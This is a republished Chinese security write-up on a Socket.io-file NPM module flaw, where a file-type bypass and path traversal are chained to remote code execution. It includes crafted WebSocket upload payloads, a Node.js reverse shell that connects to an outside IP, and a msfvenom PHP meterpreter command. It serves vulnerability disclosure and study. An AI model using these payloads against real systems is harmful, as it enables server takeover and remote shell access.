溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何實現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析

發(fā)布時間:2021-12-24 14:29:57 來源:億速云 閱讀:127 作者:柒染 欄目:安全技術(shù)

如何實現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析,針對這個問題,這篇文章詳細(xì)介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

寫在前面的話

在一次滲透測試過程中,我們所面對的應(yīng)用程序安全系數(shù)比較高,沒有存在太多的錯誤配置,因此簡單分析并沒有發(fā)現(xiàn)安全問題。但是深入分析后,我們發(fā)現(xiàn)了一個運行在嵌入式設(shè)備上的Web應(yīng)用程序。這個Web應(yīng)用程序使用了WebSocket來實現(xiàn)服務(wù)器和客戶端之間的通信,為了使用WebSocket,后端系統(tǒng)可以選擇的技術(shù)有很多種,而這里使用的是Socket.io。

這個應(yīng)用程序的主要功能之一就是文件上傳,這也是它選擇使用Socket.io-file NPM模塊的原因。總而言之,這里存在一個路徑遍歷漏洞,將允許我們上傳文件到任意系統(tǒng)路徑中,并讓W(xué)eb服務(wù)器運行該文件。

如果我們可以修改ssh_config、/etc/passwd或/etc/shadow文件的話,那么這個漏洞就相當(dāng)于是一個遠(yuǎn)程代碼執(zhí)行漏洞了,但這只能通過root權(quán)限來實現(xiàn),因此我們需要想辦法利用低權(quán)限用戶來實現(xiàn)遠(yuǎn)程代碼執(zhí)行。

通過研究之后,我們在Socket.io-file模塊中找到了一個文件類型限制繞過漏洞。在該漏洞的幫助下,我們可以繞過模塊配置文件中的文件類型限制。這樣一來,我們就可以上傳任意文件類型,然后通過修改底層配置文件來上傳適當(dāng)?shù)腟hell,以實現(xiàn)底層系統(tǒng)的遠(yuǎn)程代碼執(zhí)行。

除此之外,Socket.io-file的上傳功能也存在對輸入數(shù)據(jù)處理和驗證邏輯不正確的問題,這些分布在代碼的各個地方。而攻擊者將能夠利用該問題繞過上傳文件類型的限制,將所選的文件類型上傳到底層系統(tǒng)中。

漏洞描述

Socket.io-file的默認(rèn)配置下,提供了一個由WebSocket處理的上傳功能。當(dāng)用戶嘗試通過Web應(yīng)用程序上傳一個文件時,將會創(chuàng)建下列客戶端請求以實現(xiàn)文件創(chuàng)建:

如何實現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.mp3","size":1,"chunkSize":10240,"sent":0,"data":{}}]

為了在底層系統(tǒng)創(chuàng)建該文件,Socket.io-file的index.js代碼將會被執(zhí)行,下列代碼將會檢測文件的類型并執(zhí)行后續(xù)操作:

let err = new Error('Not Acceptable file type ' + mimeType + ' of ' + filename + '. Type must be one of these: ' + this.accepts.join(', '));

return sendError(err);

}

else {

self.socket.emit(socket.io-file::complete::${id}, emitObj); self.emit('complete', emitObj);

}

}

else {

self.socket.emit(socket.io-file::complete::${id}, emitObj);

self.emit('complete', emitObj);

比如說,如果用戶上傳了一個名為“testfile.mp3”的文件,那么應(yīng)用程序?qū)?chuàng)建一個新的.mp3文件,由于錢買你的代碼只會在客戶端進行檢測(WebSocket請求創(chuàng)建之前),那么我們就可以攔截上傳請求,并以應(yīng)用程序修改文件名的方式來修改創(chuàng)建文件的文件類型。下面給出的是漏洞利用樣例:

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.php","size":1,"chunkSize":10240,"sent":0,"data":{}}]

為了繞過客戶端限制,我們還需要將原始文件的文件類型修改問Web應(yīng)用程序允許的文件類型。攔截請求之后,我們需要將文件類型修改為原始類型(.php),這樣服務(wù)器端就不會進行檢測了。接下來,我們就可以在底層系統(tǒng)創(chuàng)建一個.php文件了,這樣也就實現(xiàn)了文件類型檢測繞過。

除此之外,我們還可以結(jié)合路徑遍歷漏洞來執(zhí)行攻擊,我們繼續(xù)往下看。

結(jié)合多個漏洞實現(xiàn)RCE

既然我們可以向任意服務(wù)器目錄上傳任意文件,那么我們就可以在特定配置下,在底層系統(tǒng)實現(xiàn)遠(yuǎn)程代碼執(zhí)行了。

場景1:修改配置文件

首先,我們可以修改配置文件,向Web服務(wù)器中添加惡意JavaScript代碼庫,然后修改index.html來加載惡意js腳本,即添加一個<script>標(biāo)簽來引入js文件,或直接把js代碼拷貝進去。

接下來,我們就可以上傳一個js文件(服務(wù)器將會在index.html文件中加載該腳本),該文件中包含的代碼如下:

(function(){

var net = require(“net”),

cp = require(“child_process”),

sh = cp.spawn(“/bin/sh”, []);

var client = new net.Socket();

client.connect(8080, “10.17.26.64”, function(){

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

});

return /a/; // Prevents the Node.js application from crashing

})();

需要注意的是,這個反向Shell只能在包含錯誤配置的Node.js環(huán)境中執(zhí)行。通過修改監(jiān)聽器的IP地址和端口號,我們就可以獲取到反向Shell了,并在底層系統(tǒng)實現(xiàn)命令執(zhí)行。

場景2:利用特定漏洞即錯誤配置

我們存在漏洞的模塊中包含了大量不同的配置項,其中一個就是允許node.js服務(wù)器運行PHP。當(dāng)然了,現(xiàn)在也有很多多用途服務(wù)器支持這種功能,而這種漏洞利用起來也相對簡單。

我們可以使用msfvenom創(chuàng)建一個PHP反向Shell,然后執(zhí)行下列命令:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.17.26.64 LPORT=4443 -f raw > shell.mp3

如何實現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析

該命令將創(chuàng)建一個php文件,當(dāng)服務(wù)器執(zhí)行該文件時,便能夠給我們提供一個反向Shell。此時,結(jié)合之前的漏洞上傳文件,我們需要修改上傳WebSocket請求:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../public/shell.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

如何實現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析

該命令將把我們的文件上傳至服務(wù)器端的公共文件夾,使用瀏覽器進入該目錄,我們就可以執(zhí)行PHP Shell,并在我們的攻擊設(shè)備上獲取到反向Shell了:

如何實現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析

漏洞復(fù)現(xiàn)

為了復(fù)現(xiàn)該漏洞,我們需要執(zhí)行下列操作:

  • 設(shè)置一個代理來攔截HTTP和WebSocket請求;

  • 創(chuàng)建一個Web應(yīng)用程序允許的文件類型;

  • 使用io-file上傳一個文件,并攔截WebSocket請求;

  • 根據(jù)文件類型修改請求中的“name”參數(shù)值:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”testfile.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

上述命令將會在當(dāng)前用戶的date目錄中創(chuàng)建一個testfile.php文件,我們的測試服務(wù)器存儲文件路徑為/home/ubuntutest/Documents/socket-app/data。

關(guān)于如何實現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI